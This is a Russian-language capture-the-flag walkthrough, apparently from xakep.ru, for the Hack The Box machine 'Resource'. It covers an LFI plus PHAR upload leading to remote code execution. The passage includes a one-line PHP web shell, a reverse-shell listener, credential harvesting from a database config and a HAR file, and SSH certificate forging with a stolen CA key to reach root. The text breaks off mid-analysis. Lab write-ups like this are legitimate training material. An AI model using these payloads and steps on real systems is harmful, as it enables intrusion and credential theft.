Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124

Сегодня я покажу, как получив корневой сертификат, подписать SSH-ключ и повысить привилегии. При эскалации привилегий проэксплуатируем уязвимость в пользовательском скрипте на Bash. Но первым делом нам понадобится атаковать сайт — мы получим удаленное выполнение кода через связку LFI и PHAR upload.
Наша цель — получение прав суперпользователя на машине Resource с учебной площадки Hack The Box. Уровень ее сложности — «средняя».
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.27 resource.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта
Сканер нашел три открытых порта:
На порте 80 выполняется редирект на адрес http://itrc.ssg.htb, поэтому обновим запись в файле /etc/hosts, а затем просмотрим сайт через браузер.
10.10.11.27 resource.htb itrc.ssg.htb

Главная страница сайта
На сайте есть возможность регистрации и авторизации. Сделаем это, так как авторизованному пользователю обычно доступно больше функций, а значит и точек для атаки будет больше.

Главная страница авторизованного пользователя
На странице dashboard есть возможность заводить тикеты и загружать ZIP-архивы. Так как на сайте индекс файл представлен в формате PHP, попробуем найти другие PHP-файлы. Для этого будем использовать утилиту feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов с целью поиска скрытой информации и недоступной обычным посетителям функций. Для этого можно использовать программы вроде dirsearch, dirb или ffuf. Я предпочитаю feroxbuster.
При запуске используем следующие параметры:
-u — URL; -w — словарь (я использую словари из набора Seclists); -t — количество потоков; -d — глубина сканирования. Задаем все параметры и запускаем сканирование:
feroxbuster -u http://itrc.ssg.htb/ -w php_files_common_5476.txt -x php -d 1 -t 128

Результат сканирования файлов с помощью feroxbuster
Находим много новых интересных файлов. Что примечательно, среди них присутствует dashboard.php, а мы получали доступ к странице через index.php?page=dashboard. Видимо, к параметру page автоматически добавляется расширение php. Попробуем таким же образом просмотреть страницу admin.php.

Содержимое страницы admin
Получаем содержимое страницы и пробуем тем же способом просмотреть и другие. При обращении к /api/login.php видим ошибку, раскрывающую путь к файлам на сервере.

Ошибка при загрузке /api/login.php
Перейдем к созданию тикета. Во вложении загрузим рандомный ZIP-архив.

Создание тикета
Тикет появится в общем списке. По кнопке Open просмотрим его содержимое.

Список тикетов

Информация о тикете
Нам доступен для скачивания загруженный тестовый архив. По ссылке видно, что он хранится в каталоге uploads с измененным именем.

Ссылка на архив.
Это значит, что у нас есть возможность эксплуатировать LFI, но работает она только для файлов PHP, а также мы знаем куда сохраняются ZIP-архивы. Можем попробовать реализовать следующий сценарий: на сервер загрузим архив с шеллом на PHP, а затем обратимся через LFI к файлу внутри архива через путь phar://.
Заархивируем файл shell.php, загрузим архив на сервер и получим путь к нему на сервере.
<?php system($_GET['cmd']); ?>

Загруженный архив
Осталось обратиться к шеллу и в качестве теста выполнить команду id.
http://itrc.ssg.htb/?page=phar://uploads/450373bf3fff7e53023e6b2736add325cd51e3bb.zip/shell&cmd=id

Результат выполнения команды id
Команда выполнена, а значит, у нас есть RCE. Запускаем листенер pwncat-cs -lp 4321 и выполняем реверс‑шелл.

Сессия пользователя www-data
На хосте развернуто веб‑приложение, и оно наверняка использует базу данных. В таких случаях в базе можно найти учетные данные для сайта, которые могут пригодиться для дальнейшего проникновения. Данные для подключения к самой базе обычно находятся в коде или настройках веб‑приложения.
В данном случае учетку для базы находим в файле db.php.

Содержимое файла db.php
Использовать этот пароль нигде не получилось, поэтому осмотримся на сервере. Помимо загруженных нами архивов в каталоге uploads можно найти и вложения к тикетам других пользователей. Скачиваем их на свою машину для анализа.

Загрузка архивов из каталога uploads
Два архива содержат публичные ключи SSH, а в оставшемся находим файл HAR.

Содержимое архивов
В файлах HAR фиксируются разные неполадки браузера, такие как неудачные входы и проблемы с отображением веб‑страниц. Сразу же ищем в файле встроки вроде user, pass, token и тому подобные. И находим учетные данные, сохраненные в открытом виде.

Содержимое файла HAR
С полученными учетными подключаемся по SSH от имени пользователя msainristill.

Пользователь msainristill
В домашнем каталоге пользователя root есть каталог decommission_old_ca с ключами центра сертификации.

Содержимое каталога decommission_old_ca
Закрытый ключ центра сертификации ca-itrc используются для подписи сертификатов. Публичный ключ ca-itrc.pub используется для проверки подписи сертификатов. Мы можем использовать закрытый ключ центра сертификации для создания и подписи SSH-сертификата для любого логина. С помощью созданного сертификата можно будет получить доступ по SSH от имени пользователя с указанным в сертификате логином.
Первым делом сгенерируем пару SSH ключей.
ssh-keygen -t rsa -b 2048 -f ralf

Генерация пары SSH ключей
Теперь с помощью ключей центра сертификации на основе публичного SSH ключа ralf.pub сделаем сертификат SSH для логина root. Сразу можно проверить новый сертификат ralf-cert.pub.
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root ralf.pub

Создание SSH сертификатаssh-keygen -Lf ralf-cert.pub

Информация из сертификата
Со сгенерированным сертификатом SSH сертификат и закрытым ключом пользователя получаем доступ от имени root.
ssh -o CertificateFile=ralf-cert.pub -i ralf root@localhost

Флаг пользователя
В домашнем каталоге пользователя zzinter есть скрипт sign_key_api.sh.

Содержимое домашнего каталога пользователя
Проанализируем его. Скрипт принимает в качестве параметров публичный ключ, имя пользователя и принципал, возможные значения которого можно увидеть в справке (help).
Источник: xakep.ru